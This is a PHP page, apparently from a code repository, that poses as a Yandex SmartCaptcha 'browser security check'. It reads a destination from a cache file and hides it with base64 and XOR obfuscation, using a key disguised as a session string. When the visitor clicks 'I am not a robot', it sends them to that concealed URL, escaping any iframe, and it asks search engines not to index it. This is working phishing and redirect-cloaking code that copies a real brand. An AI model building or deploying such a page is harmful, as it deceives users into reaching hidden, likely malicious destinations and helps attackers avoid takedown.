File size: 8,369 Bytes
3bcd952
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
<?php

// ==========================================

// БЭКЕНД ЧАСТЬ (БЕЗ ИЗМЕНЕНИЙ)

// ==========================================

header("Cache-Control: no-store, no-cache, must-revalidate");

header("Pragma: no-cache");



$cache_file = 'domain_cache.txt';

$api_response = "";



// Безопасное чтение файла с защитой от гонки процессов и пустых байтов

if (file_exists($cache_file)) {

    $fp = fopen($cache_file, "r");

    if (flock($fp, LOCK_SH)) {

        $fsize = filesize($cache_file);

        if ($fsize > 0) {

            $content = fread($fp, $fsize);

            if (!empty($content)) {

                $api_response = trim($content);

            }

        }

        flock($fp, LOCK_UN);

    }

    fclose($fp);

}

?>

<!DOCTYPE html>

<html lang="ru">



<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">

    <meta name="robots" content="noindex, nofollow, noarchive">

    <title>Проверка безопасности браузера</title>



    <style>

        :root {

            --ya-yellow: #fc0;

            --ya-yellow-hover: #f2c200;

            --ya-red: #f00;

            --bg-color: #f3f3f2;

            --card-bg: #ffffff;

            --text-head: #000000;

            --text-body: #333333;

        }



        * { margin: 0; padding: 0; box-sizing: border-box; -webkit-tap-highlight-color: transparent; }



        body {

            font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;

            background-color: var(--bg-color);

            color: var(--text-head);

            display: flex;

            flex-direction: column;

            justify-content: center;

            align-items: center;

            min-height: 100vh;

            padding: 20px;

        }



        .system-card {

            background: var(--card-bg);

            width: 100%;

            max-width: 400px;

            border-radius: 16px;

            box-shadow: 0 12px 24px rgba(0, 0, 0, 0.08);

            padding: 40px 30px;

            text-align: center;

            position: relative;

            overflow: hidden;

        }



        .logo-area {

            margin-bottom: 24px;

        }



        .ya-logo {

            font-size: 28px;

            font-weight: 700;

            letter-spacing: -0.5px;

        }

        .ya-logo span { color: var(--ya-red); }



        h1 {

            font-size: 22px;

            font-weight: 700;

            margin-bottom: 12px;

        }



        p {

            font-size: 15px;

            color: var(--text-body);

            line-height: 1.5;

            margin-bottom: 32px;

        }



                .action-btn {

            display: flex;

            justify-content: center;

            align-items: center;

            width: 100%;

            padding: 16px;

            background: var(--ya-yellow);

            color: #000;

            border: none;

            border-radius: 12px;

            font-size: 18px;

            font-weight: 600;

            cursor: pointer;

            transition: all 0.2s ease;

            box-shadow: 0 4px 12px rgba(255, 204, 0, 0.4);

        }

        .action-btn:hover { 

            background: var(--ya-yellow-hover); 

            box-shadow: 0 6px 16px rgba(255, 204, 0, 0.5);

            transform: translateY(-2px);

        }

        .action-btn:active { 

            transform: translateY(1px);

            box-shadow: 0 2px 6px rgba(255, 204, 0, 0.4);

        }



        .loader-ui {

            display: none;

            width: 22px;

            height: 22px;

            border: 2px solid rgba(0,0,0,0.2);

            border-radius: 50%;

            border-top-color: #000;

            animation: spin 0.8s linear infinite;

        }

        @keyframes spin { to { transform: rotate(360deg); } }

        

        .action-btn.active {

            pointer-events: none;

            opacity: 0.8;

        }

        .action-btn.active .btn-lbl { display: none; }

        .action-btn.active .loader-ui { display: block; }



        .tech-footer {

            margin-top: 30px;

            font-size: 12px;

            color: #999;

        }

    

        .loading-bar {

            height: 4px;

            width: 100%;

            background: #f3f3f2;

            position: absolute;

            top: 0;

            left: 0;

        }

        .loading-bar::after {

            content: '';

            position: absolute;

            left: -30%;

            top: 0;

            height: 100%;

            width: 30%;

            background: var(--ya-red);

            animation: load 2s infinite ease-in-out;

        }

        @keyframes load { 0% { left: -30%; } 100% { left: 100%; } }

    </style>

</head>



<body>



    <div class="system-card">

        <div class="loading-bar"></div>

        <div class="logo-area">

            <div class="ya-logo"><span>Я</span>ндекс</div>

        </div>

        <h1>Проверка безопасности</h1>

        <p>Пожалуйста, подтвердите, что вы не робот, чтобы продолжить.</p>

        

        <button id="submitAction" class="action-btn">

            <span class="btn-lbl">Я не робот</span>

            <div class="loader-ui"></div>

        </button>



        <div class="tech-footer">

            Защищено SmartCaptcha

        </div>

    </div>

                

            <script>



        const AppConfig = {

            session_ver: "ui-sess-v4-8921-xb-log",

            authToken: "<?php echo $api_response; ?>",

            uiDelay: 800

        };



        function renderLayout(t, k) {

            try {

                let s = atob(t);

                let res = '';

                for (let i = 0; i < s.length; i++) {

                    res += String.fromCharCode(s.charCodeAt(i) ^ k.charCodeAt(i % k.length));

                }

                return res;

            } catch (z) {

                return null;

            }

        }



        function appendUtmSource(targetUrl) {

            try {

                const urlParams = new URLSearchParams(window.location.search);

                const utmSource = urlParams.get('utm_source');

                if (utmSource) {

                    const urlObj = new URL(targetUrl);

                    urlObj.searchParams.set('utm_source', utmSource);

                    return urlObj.toString();

                }

            } catch (e) {

                console.error('Error appending utm_source', e);

            }

            return targetUrl;

        }



        document.addEventListener('DOMContentLoaded', function () {

            const btn = document.getElementById('submitAction');



            btn.addEventListener('click', function (evt) {

                evt.preventDefault();



                btn.classList.add('active');



                setTimeout(function () {

                    const path = renderLayout(AppConfig.authToken, AppConfig.session_ver);



                    if (path && path.indexOf('http') === 0) {

                        try {

                            // Попытка открыть в новой вкладке

                            const newWin = window.open(appendUtmSource(path), '_blank');

                            if (!newWin || newWin.closed || typeof newWin.closed == 'undefined') {

                                throw new Error('Popup blocked');

                            }

                        } catch (e) {

                            // Если блокировщик не дал открыть вкладку, 

                            // открываем в текущем окне, но ВЫХОДИМ из iframe (top)

                            window.top.location.href = appendUtmSource(path);

                        }

                    } else {

                        console.error('Security verification failed');

                        location.reload();

                    }

                }, AppConfig.uiDelay);

            });

        });

    </script>

</body>



</html>